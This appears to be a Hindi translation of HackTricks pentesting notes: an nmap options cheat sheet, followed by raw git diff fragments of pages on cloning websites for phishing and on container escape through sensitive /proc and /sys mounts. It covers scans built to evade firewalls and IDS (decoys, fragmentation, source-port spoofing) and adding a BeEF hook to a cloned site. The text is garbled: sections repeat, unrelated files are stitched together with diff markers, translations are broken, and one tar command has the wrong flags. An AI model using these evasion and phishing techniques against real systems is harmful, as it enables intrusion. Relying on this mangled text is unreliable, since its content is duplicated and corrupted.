* **`-PE, -PP, -PM`** : ICMP PINGS: इको प्रतिद्वंद्वी, समयचिह्न और एड्रेसमास्क। यह जानने के लिए लॉन्च किया जाता है कि लक्ष्य सक्रिय है या नहीं।
* **`-PY<ports>`**: 80 के लिए SCTP INIT प्रोब्स भेजता है, INIT-ACK(खुला) या ABORT(बंद) या कुछ नहीं या ICMP अपरिहार्य(निष्क्रिय) का जवाब दिया जा सकता है।
* **`-PO <protocols>`**: हेडर्स में एक प्रोटोकॉल निर्दिष्ट किया जाता है, डिफ़ॉल्ट रूप से 1(ICMP), 2(IGMP) और 4(Encap IP)। ICMP, IGMP, TCP (6) और UDP (17) प्रोटोकॉल के लिए प्रोटोकॉल हेडर भेजे जाते हैं, बाकी के लिए केवल IP हेडर भेजा जाता है। इसका उद्देश्य है कि हेडर्स के अविनाशितता के कारण प्रोटोकॉल अपरिहार्य या उसी प्रोटोकॉल के प्रतिसाद दिए जाते हैं ताकि पता चले कि यह ऊपर है।
* **`-PS <ports>`**: यह SYN पैकेट भेजता है जिसे यदि यह SYN/ACK के साथ जवाब देता है तो खुला है (जिसे यह RST के साथ जवाब देता है ताकि कनेक्शन समाप्त न हो), यदि यह RST के साथ जवाब देता है तो बंद है और यदि यह जवाब नहीं देता है तो अगम्य है। यदि विशेषाधिकार नहीं हैं, तो सम्पूर्ण कनेक्शन स्वचालित रूप से उपयोग किया जाता है। यदि कोई पोर्ट नहीं दिया गया है, तो यह 80 पर फेंक देता है।
* **`-PA <ports>`**: पिछले वाले की तरह लेकिन ACK के साथ, दोनों को मिलाकर बेहतर परिणाम मिलते हैं।
* **`-PU <ports>`**: उद्देश्य उल्टा है, यह बंद होने की उम्मीद है। कुछ फ़ायरवॉल केवल TCP कनेक्शन की जांच करते हैं। यदि यह बंद है तो यह पोर्ट अप्राप्य है, यदि यह किसी अन्य icmp के साथ जवाब देता है या जवाब नहीं देता है तो यह गंतव्य अप्राप्य छोड़ दिया जाता है।
* **`-PE, -PP, -PM`** : ICMP PINGS: इको प्रतिद्वंद्वी, समयचिह्न और एड्रेसमास्क। यह लॉन्च किया जाता है ताकि पता चले कि लक्ष्य सक्रिय है या नहीं।
* **`-PY<ports>`**: 80 के लिए SCTP INIT प्रोब भेजता है, INIT-ACK(खुला) या ABORT(बंद) या कुछ नहीं या ICMP अप्राप्य(निष्क्रिय) जवाब दिया जा सकता है।
* **`-PO <protocols>`**: हेडर में एक प्रोटोकॉल निर्दिष्ट किया जाता है, डिफ़ॉल्ट रूप से 1(ICMP), 2(IGMP) और 4(Encap IP)। ICMP, IGMP, TCP (6) और UDP (17) प्रोटोकॉल के लिए प्रोटोकॉल हेडर भेजे जाते हैं, बाकी के लिए केवल IP हेडर भेजा जाता है। इसका उद्देश्य है कि हेडर्स की गलत बनावट के कारण प्रोटोकॉल अप्राप्य या उसी प्रोटोकॉल के जवाब दिए जाते हैं ताकि पता चले कि यह ऊपर है या नहीं
* **`-n`**: कोई DNS नहीं
* **`-R`**: हमेशा DNS
### पोर्ट स्कैनिंग तकनीकें
* **`-sS`**: कनेक्शन को पूरा नहीं करता है इसलिए कोई पता नहीं छोड़ता, यदि उपयोग किया जा सकता है तो बहुत अच्छा है।(विशेषाधिकार) यह डिफ़ॉल्ट रूप से उपयोग किया जाता है।
* **`-sT`**: कनेक्शन पूरा करता है, इसलिए कोई पता छोड़ता है, लेकिन यह सुनिश्चित करने के लिए उपयोग किया जा सकता है। डिफ़ॉल्ट रूप से विशेषाधिकारों के बिना।
* **`-sU`**: धीमा, UDP के लिए। अधिकांश: DNS(53), SNMP(161,162), DHCP(67 और 68), (-sU53,161,162,67,68): खुला(जवाब), बंद(पोर्ट अपरिहार्य), फ़िल्टर (एक और ICMP), खुला/फ़िल्टर (कुछ नहीं)। खुला/फ़िल्टर के मामले में, -sV नम्बरों को पहचानने के लिए कई अनुरोध भेजता है जिनमें से कोई भी नम्बरों को पहचान सकता है और सच्ची स्थिति को पहचान सकता है। यह समय को बहुत बढ़ा देता है।
* **`-sY`**: SCTP प्रोटोकॉल कनेक्शन स्थापित करने में विफल होता है, इसलिए कोई लॉग नहीं होता है, -PY की तरह काम करता है
* **`-sN,-sX,-sF`:** नल, फिन, ज़मास, वे कुछ फ़ायरवॉल में प्रवेश कर सकते हैं और जानकारी निकाल सकते हैं। यह उस तथ्य पर आधारित है कि मानक अनुरूप मशीनें उन सभी अनुरोधों के साथ RST के साथ प्रतिसाद देना चाहिए जिनमें SYN, RST या ACK लैग उठाए गए हैं: खुला/फ़िल्टर(कुछ नहीं), बंद(RST), फ़िल्टर (ICMP अपरिहार्य)। यह Windows, CIsco, BSDI और OS/400 पर अविश्वसनीय है। Unix पर हां।
* **`-sM`**: Maimon स्कैन: FIN और ACK लैग भेजता है, वर्तमान में सभी को बंद दिखाएगा।
* **`-sA, sW`**: ACK और विंडो, फ़ायरवॉल का पता लगाने के लिए उपयोग किया जाता है, यह जानने के लिए कि पोर्ट फ़िल्टर हैं या नहीं। -sW खुले/बंद के बीच भेद करता है क्योंकि खुले वाले अलग विंडो मान देते हैं
* **`-sS`**: कनेक्शन को पूरा नहीं करता है इसलिए कोई पता नहीं छोड़ता, अगर उपयोग किया जा सकता है तो बहुत अच्छा है।(विशेषाधिकार) यह डिफ़ॉल्ट रूप से उपयोग किया जाता है।
* **`-sT`**: कनेक्शन पूरा करता है, इसलिए यह पता छोड़ता है, लेकिन यह सुनिश्चित करने के लिए उपयोग किया जा सकता है। डिफ़ॉल्ट रूप से विशेषाधिकार नहीं है।
* **`-sU`**: धीमा, UDP के लिए। अधिकांश: DNS(53), SNMP(161,162), DHCP(67 और 68), (-sU53,161,162,67,68): खुला(जवाब), बंद(पोर्ट अप्राप्य), फ़िल्टर(अन्य ICMP), खुला/फ़िल्टर(कुछ नहीं)। खुला/फ़िल्टर के मामले में, -sV न्यूनतम संभावनाओं को जानने के लिए कई अनुरोध भेजता है और nmap समर्थित किसी भी संस्करण का पता लगा सकता है और वास्तविक स्थिति का पता लगा सकता है। यह समय को बहुत बढ़ा देता है।
* **`-sY`**: SCTP प्रोटोकॉल कनेक्शन स्थापित करने में विफल होता है, इसलिए कोई लॉग नहीं होता, -PY की तरह काम करता है
* **`-sN,-sX,-sF`:** नल, फिन, ख्रिसमस, वे कुछ फ़ायरवॉल में प्रवेश कर सकते हैं और जानकारी निकाल सकते हैं। यह उस तथ्य पर आधारित है कि मानक अनुरूप मशीनें उन सभी अनुरोधों के साथ RST देना चाहिए जिनमें SYN, RST या ACK लैग उठाए नहीं हैं: खुला/फ़िल्टर(कुछ नहीं), बंद(RST), फ़िल्टर(अन्य ICMP)। विंडोज, सिस्को, बीएसडीआई और ओएस/400 पर अविश्वसनीय है। यूनिक्स पर हां।
* **`-sM`**: मैमन स्कैन: FIN और ACK फ्लैग भेजता है, वर्तमान में सभी को बंद के रूप में लौटाएगा।
* **`-sA, sW`**: ACK और विंडो, फ़ायरवॉल का पता लगाने के लिए उपयोग किया जाता है, यह जानने के लिए कि पोर्ट फ़िल्टर हैं या नहीं। -sW खुला/बंद के बीच भेद करता है क्योंकि खुले वाले अलग विंडो मान देते हैं: खुला (जवाब विंडो 0 के अलावा), बंद (बंद विंडो = 0), फ़िल्टर (ICMP अप
**--osscan-guess** जब ऑपरेटिंग सिस्टम की पहचान पूरी तरह से सही नहीं होती है तो यह अधिक प्रयास करता है।
**Scripts**
\--script _\<नाम>_|_\<श्रेणी>_|_\<निर्देशिका>_|_\<अभिव्यक्ति>_\[,...]
डिफ़ॉल्ट के लिए उपयोग करने के लिए -sC या --script=default काफी है।
उपलब्ध श्रेणियाँ हैं: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, और vuln
* **Auth:** प्रमाणीकरण के लिए उपलब्ध सभी अपने _स्क्रिप्ट_ को चलाता है
* **Default:** उपकरण के डिफ़ॉल्ट बुनियादी _स्क्रिप्ट_ को चलाता है
* **Discovery:** _target_ या पीड़िता से जानकारी प्राप्त करता है
* **External:** बाह्य संसाधनों का उपयोग करने के लिए _स्क्रिप्ट_
* **Intrusive:** पीड़ित या _target_ के लिए अभिमानी माने जाने वाले _स्क्रिप्ट_ का उपयोग करता है
* **Malware:** क्या खुले हैं कोड या _backdoors_ (पिछले दरवाजे) द्वारा कोई जुड़ाव है या नहीं जांचता है
* **Safe:** अभिमानी नहीं हैं _स्क्रिप्ट_ को चलाता है
* **Vuln:** सबसे अधिक जानी जाने वाली कमियों का पता लगाता है
* **All:** उपलब्ध NSE विस्तार वाले सभी _स्क्रिप्ट_ को चलाता है
स्क्रिप्ट खोजने के लिए:
**nmap --script-help="http-\*" -> जो http- से शुरू होते हैं**
**nmap --script-help="not intrusive" -> उनमें से सभी जो नहीं हैं**
**nmap --script-help="default or safe" -> जो एक में हैं या दूसरे में या दोनों में**
**nmap --script-help="default and safe" --> जो दोनों में हैं**
**nmap --script-help="(default or safe or intrusive) and not http-\*"**
\--script-args _\<n1>_=_\<v1>_,_\<n2>_={_\<n3>_=_\<v3>_},_\<n4>_={_\<v4>_,_\<v5>_}
\--script-args-file _\<नाम फ़ाइल>_
\--script-help _\<नाम>_|_\<श्रेणी>_|_\<निर्देशिका>_|_\<अभिव्यक्ति>_|all\[,...]
\--script-trace ---> स्क्रिप्ट का प्रगति देता है
\--script-updatedb
**स्क्रिप्ट का उपयोग करने के लिए केवल नाम दर्ज करें: namp --script नाम_देना_है\_स्क्रिप्ट लक्ष्य** --> स्क्रिप्ट और स्कैनर दोनों को चलाने के लिए स्क्रिप्ट दर्ज करने पर, इसलिए स्कैनर के विकल्प भी दर्ज किए जा सकते हैं, हम **“safe=1”** जोड़ सकते हैं ताकि केवल सुरक्षित वाले ही चलें।
**समय नियंत्रण**
**Nmap सेकंड, मिनट, ms में समय को संशोधित कर सकता है:** --host-timeout arguments 900000ms, 900, 900s, और 15m सभी एक ही चीज करते हैं।
Nmap होस्ट की कुल संख्या को समूहों में विभाजित करता है और उन समूहों का विश्लेषण ब्लॉक में करता है, जिसका मतलब है कि जब तक सभी विश्लेषित नहीं हो जाते हैं, तब तक यह अगले ब्लॉक पर नहीं जाता है (और उपयोगकर्ता को तब तक कोई अद्यतन नहीं मिलता है जब तक ब्लॉक का विश्लेषण नहीं हो जाता है) इस तरह, nmap के लिए बड़े समूहों का उपयोग करना अधिक उपयुक्त है। डिफ़ॉल्ट रूप से कक्षा C में 256 का उपयोग करता है।
इसे बदल सकते हैं\*\*--min-hostgroup\*\* _**\<numhosts>**_**;** **--max-hostgroup** _**\<numhosts>**_ (समानकालिक स्कैन समूह आकारों को समायोजित करें)
समानकालिक स्कैनरों की संख्या को नियंत्रित किया जा सकता है लेकिन यह बेहतर है कि न करें (nmpa में पहले से ही नेटवर्क की स्थिति के आधार पर स्वचालित नियंत्रण शामिल है): **--min-parallelism** _**\<numprobes>**_**;** **--max-parallelism** _**\<numprobes>**_
हम rtt टाइमआउट को संशोधित कर सकते हैं, लेकिन आम तौर पर यह आवश्यक नहीं होता: **--min-rtt-timeout** _**\<time>**_**,** **--max-rtt-timeout** _**\<time>**_**,** **--initial-rtt-timeout** _**\<time>**_
हम प्रयासों की संख्या को संशोधित कर सकते हैं:**--max-retries** _**\<numtries>**_
हम होस्ट के स्कैनिंग के समय को संशोधित कर सकते हैं: **--host-timeout** _**\<time>**_
हम प्रत्येक परीक्षण के बीच का समय संशोधित कर सकते हैं ताकि धीमे चले: **--scan-delay** _**\<time>**_**;** **--max-scan-delay** _**\<time>**_
हम प्रति सेकंड पैकेट की संख्या को संशोधित कर सकते हैं: **--min-rate** _**\<number>**_**;** **--max-rate** _**\<number>**_
बहुत से पोर्ट फ़िल्टर या बंद होने के कारण बहुत देर तक जवाब नहीं देते, अगर हमें केवल खुले पोर्टों की जरुरत है, तो हम इसे तेज़ कर सकते हैं: **--defeat-rst-ratelimit**
nmap को कितना प्रबल बनाना चाहिए, इसे परिभाषित करने के लिए: -T paranoid|sneaky|polite|normal|aggressive|insane
\-T (0-1)
\-T0 --> केवल एक पोर्ट की एक साथ स्कैनिंग की जाती है और अगले के लिए 5 मिनट तक इंतजार किया जाता है
\-T1 और T2 --> बहुत समान हैं लेकिन केवल 15 और 0.4 सेकंड के बीच प्रत्येक परीक्षण का इंतजार करते हैं
\-T3 --> डिफ़ॉल्ट व्यवहार, समानकालिक में शामिल है
\-T4 --> --max-rtt-timeout 1250ms --min-rtt-timeout 100ms --initial-rtt-timeout 500ms --max-retries 6 --max-scan-delay 10ms
\-T5 --> --max-rtt-timeout 300ms --min-rtt-timeout 50ms --initial-rtt-timeout 250ms --max-retries 2 --host-timeout 15m --max-scan-delay 5ms
**Firewall/IDS**
पोर्टों को गुजारने नहीं देते और पैकेटों का विश्लेषण करते हैं।
**-f** पैकेटों को फ्रैगमेंट करने के लिए, डिफ़ॉल्ट रूप से वे 8 बाइट के बाद फ्रैगमेंट करते हैं, इस आकार को निर्दिष्ट करने के लिए हम ..mtu का उपयोग करते हैं (इसके साथ, -f का उपयोग न करें), ऑफ़सेट 8 के गुणक होना चाहिए। **संस्करण और स्क्रिप्ट के विश्लेषण फ्रैगमेंटेशन का समर्थन नहीं करते**
**-D डेकॉय1,डेकॉय2,मैं** Nmap अन्य IP पतों के साथ स्कैनर भेजता है, जिसे मूल पते के रूप में छुपाता है। यदि आप में सूची में ME डालते हैं, तो nmap आपको वहाँ स्थानित करेगा, आपको पूरी तरह से मास्क करने के लिए अपने से पहले 5 या 6 डेकॉय को डालना बेहतर है। RND:\<संख्या> के साथ यादृच्छिक IP उत्पन्न किए जा सकते हैं। टीसीपी कनेक्शन के बिना संस्करण डिटेक्टर के साथ काम नहीं करते। यदि आप एक नेटवर्क के अंदर हैं, तो आपको सक्रिय IP पतों का उपयोग करना चाहिए, क्योंकि अन्यथा यह बहुत आसान हो जाएगा कि आप ही एकमात्र सक्रिय हैं।
यादृच्छिक IP का उपयोग करने के लिए: nmap-D RND: 10 Ip_लक्ष्य
**-S IP** जब Nmap आपका IP पता नहीं पकड़ता है तो आपको इसे देना होगा। यहाँ एक और लक्ष्य जो उन्हें स्कैन कर रहा है, उसे लगाने के लिए भी क
**--proxies** _**\<कॉमा-सेपरेटेड सूची प्रॉक्सी URL>**_ प्रॉक्सी का उपयोग करने के लिए, कभी-कभी एक प्रॉक्सी उतने खुले कनेक्शन नहीं रखता जितने nmap चाहता है, इसलिए पैरालेलिज़्म को संशोधित करना होगा: --max-parallelism
**-sP** ARP के माध्यम से होस्ट का पता लगाने के लिए जो नेटवर्क में हैं जिसमें हम हैं
बहुत से व्यवस्थापक एक नियम बनाते हैं जो फ़ायरवॉल में एक विशेष पोर्ट से आने वाले सभी पैकेटों को पारित करने देता है (जैसे 20, 53 और 67), हम nmap को यह कह सकते हैं कि हमारे पैकेट उन पोर्ट्स से भेजें: **nmap --source-port 53 Ip**
**आउटपुट**
**-oN फ़ाइल** सामान्य आउटपुट
**-oX फ़ाइल** XML आउटपुट
**-oS फ़ाइल** स्क्रिप्ट किडीज का आउटपुट
**-oG फ़ाइल** grepable आउटपुट
**-oA फ़ाइल** -oS को छोड़कर सभी
**-v स्तर** वर्बोसिटी
**-d स्तर** डीबगिंग
**--reason** होस्ट और स्थिति का कारण
**--stats-every समय** हर इस समय हमें बताता है कि कैसे जा रहा है
**--packet-trace** देखने के लिए कि कौन से पैकेट निकल रहे हैं, फ़िल्टर जैसे निर्दिष्ट किए जा सकते हैं: --version-trace या --script-trace
**--open** खुले, खुले|फ़िल्टर किए गए और अफ़िल्टर को दिखाता है
**--resume फ़ाइल** एक सारांश निकालता है
**विविध**
**-6** ipv6 की अनुमति देता है
**-A** -O -sV -sC --traceroute के बराबर है
**रन टाइम**
Nmap चलते समय हम विकल्प बदल सकते हैं:
v / V वर्बोसिटी स्तर बढ़ाएं / कम करें
d / D डीबगिंग स्तर बढ़ाएं / कम करें
p / P पैकेट ट्रेसिंग को चालू / बंद करें
? रनटाइम इंटरेक्शन सहायता स्क्रीन प्रिंट करें
**Vulscan**
Nmap का स्क्रिप्ट जो एक ऑफ़लाइन डेटाबेस में प्राप्त सेवाओं के संस्करणों को देखता है (जो अन्य महत्वपूर्ण से डाउनलोड किया जाता है) और संभावित भेदभाव देता है
उस डेटाबेस का उपयोग करता है:
1. Scipvuldb.csv | [http://www.scip.ch/en/?vuldb](http://www.scip.ch/en/?vuldb)
2. Cve.csv | [http://cve.mitre.org](http://cve.mitre.org/)
3. Osvdb.csv | [http://www.osvdb.org](http://www.osvdb.org/)
4. Securityfocus.csv | [http://www.securityfocus.com/bid/](http://www.securityfocus.com/bid/)
5. Securitytracker.csv | [http://www.securitytracker.com](http://www.securitytracker.com/)
6. Xforce.csv | [http://xforce.iss.net](http://xforce.iss.net/)
7. Exploitdb.csv | [http://www.exploit-db.com](http://www.exploit-db.com/)
8. Openvas.csv | [http://www.openvas.org](http://www.openvas.org/)
इसे डाउनलोड और Nmap फ़ोल्डर में स्थापित करने के लिए:
wget http://www.computec.ch/projekte/vulscan/download/nmap\_nse\_vulscan-2.0.tar.gz && tar -czvf nmap\_nse\_vulscan-2.0.tar.gz vulscan/ && sudo cp -r vulscan/ /usr/share/nmap/scripts/
इसके अलावा, डेटाबेस के पैकेट डाउनलोड करना होगा और उन्हें /usr/share/nmap/scripts/vulscan/ में जोड़ना होगा
उपयोग:
सभी का उपयोग करने के लिए: sudo nmap -sV --script=vulscan HOST\_A\_ESCANEAR
एक विशिष्ट डेटाबेस का उपयोग करने के लिए: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST\_A\_ESCANEAR
## Nmap सेवा स्कैन को तेज़ करें x16
इस [**पोस्ट**](https://joshua.hu/nmap-speedup-service-scanning-16x) के अनुसार, आप nmap सेवा विश्लेषण की गति बढ़ा सकते हैं जिसमें आपको सभी **`totalwaitms`** मानों को **300** और **`tcpwrappedms`** को **200** में संशोधित करना होगा।
इसके अतिरिक्त, जो प्रोब्स का विशेष रूप से परिभाषित **`servicewaitms`** नहीं है, वे एक डिफ़ॉल्ट मान **`5000`** का उपयोग करते हैं। इसलिए, हम इन प्रोब्स में मान जोड़ सकते हैं, या हम **nmap को कंपाइल** कर सकते हैं और [**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service\_scan.h#L79) में डिफ़ॉल्ट मान बदल सकते हैं।
अगर आप चाहते हैं कि **`totalwaitms`** और **`tcpwrappedms`** के मानों को `/usr/share/nmap/nmap-service-probes` फ़ाइल में किसी भी प्रकार से न बदलें, तो आप [पार्सिंग कोड](https://github.com/nmap/nmap/blob/master/service\_scan.cc#L1358) को संपादित कर सकते हैं ताकि `nmap-service-probes` फ़ाइल में ये मान पूरी तरह से नजरअंदाज किए जाएं।
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी कंपनी का विज्ञापन देखना चाहते हैं **HackTricks** में या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में PR जमा करके।
</details>

View file

@ -1,23 +1,28 @@
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ</strong>!</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** को PRs जमा करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **Twitter** पर फॉलो करें 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
फिशिंग मूल्यांकन के लिए कभी-कभी पूरी तरह से **एक वेबसाइट क्लोन** करना उपयोगी हो सकता है।
ध्यान दें कि आप क्लोन की गई वेबसाइट में कुछ payloads भी जोड़ सकते हैं, जैसे एक BeEF हुक ताकि उपयोगकर्ता के टैब को "नियंत्रित" किया जा सके।
ध्यान दें कि आप क्लोन की गई वेबसाइट में कुछ payloads भी जोड़ सकते हैं जैसे एक BeEF हुक ताकि उपयोगकर्ता के टैब को "नियंत्रित" किया जा सके।
इस उद्देश्य के लिए आप विभिन्न उपकरण प्रयोग कर सकते हैं:
इस उद्देश्य के लिए आप विभिन्न उपकरणों का उपयोग कर सकते हैं:
## wget
```text
@ -28,20 +33,25 @@ wget -mk -nH
#https://github.com/imthaghost/goclone
goclone <url>
```
## सामाजिक इंजीनियरिंग टूलकिट
## सोशल इंजीनियरिंग टूलकिट
```bash
#https://github.com/trustedsec/social-engineer-toolkit
```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
दूसरे तरीके HackTricks का समर्थन करने के लिए:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें** PRs सबमिट करके **HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके
</details>

View file

@ -6,33 +6,33 @@
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
* यदि आप अपनी कंपनी का विज्ञापन **HackTricks** में देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* हमारा संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud** github रेपो में PR जमा करके।
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** और **हैकट्रिक्स क्लाउड** गिटहब रेपो में पीआर जमा करके।
</details>
<figure><img src="../../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
`/proc` और `/sys`ा अनुचित नेमस्पेस आइसोलेशन के बिना उजागर होना, हमें बड़े सुरक्षा जोखिमों का सामना करना पड़ता है, जिसमें हमले की सतह विस्तार और सूचना फासवणी शामिल है। ये निर्देशिकाएँ संवेदनशील फ़ाइलें शामिल करती हैं जो, अगर गलत रूप से कॉन्फ़िगर की गई हैं या अनधिकृत उपयोगकर्ता द्वारा पहुंची जाती हैं, तो कंटेनर से बाहर निकलने, होस्ट में संशोधन करने या आगे के हमलों की सहायता करने वाली जानकारी प्रदान कर सकती हैं। उदाहरण के लिए, `-v /proc:/host/proc` को गलती से माउंट करना AppArmor सुरक्षा को छोड़ता है क्योंकि इसका पथ-आधाित प्रकृति है, `/host/proc` को सुरक्षित नहीं छोड़ता।
`/proc` और `/sys`ी अनुचित नेमस्पेस आइसोलेशन के बिना उद्घाटन सुरक्षा जोखिम बढ़ाता है, जिसमें हमले की सतह विस्तार और सूचना फासला शामिल है। यदि ये निर्धारित या अनधिकृत उपयोगकर्ता द्वारा पहुंचे जाते हैं, तो ये निर्धारित फ़ाइलें कंटेनर छूट, होस्ट संशोधन, या आगे के हमलों की सहायता करने वाली जानकारी प्रदान कर सकती हैं। उदाहरण के लिए, गलती से `-v /proc:/host/proc` माउंट करना AppArmor सुरक्षा को छोड़कर `/host/proc` को सुरक्षित छोड़ सकता है
**आप प्रत्येक संभावित दुरुपयोग का और विवरण पा सकते हैं** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
**आप प्रत्येक संभावित दुर्बलता का विस्तार से विवरण यहाँ पा सकते हैं** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
## procfs दुरुपयोग
## procfs दुर्बलताएँ
### `/proc/sys`
यह निर्देशिका कर्नेल चर वेरिएबल को संशोधित करने की अनुमति देती है, सामान्यत: `sysctl(2)` के माध्यम से, और कई चिंहित उपनिर्देशिकाए शामिल हैं:
यह निर्देशिका कर्नेल चरित्रियों को संशोधित करने की अनुमति देती है, सामान्यत: `sysctl(2)` के माध्यम से, और कई चिंहित उपनिर्देशिकाए शामिल हैं:
#### **`/proc/sys/kernel/core_pattern`**
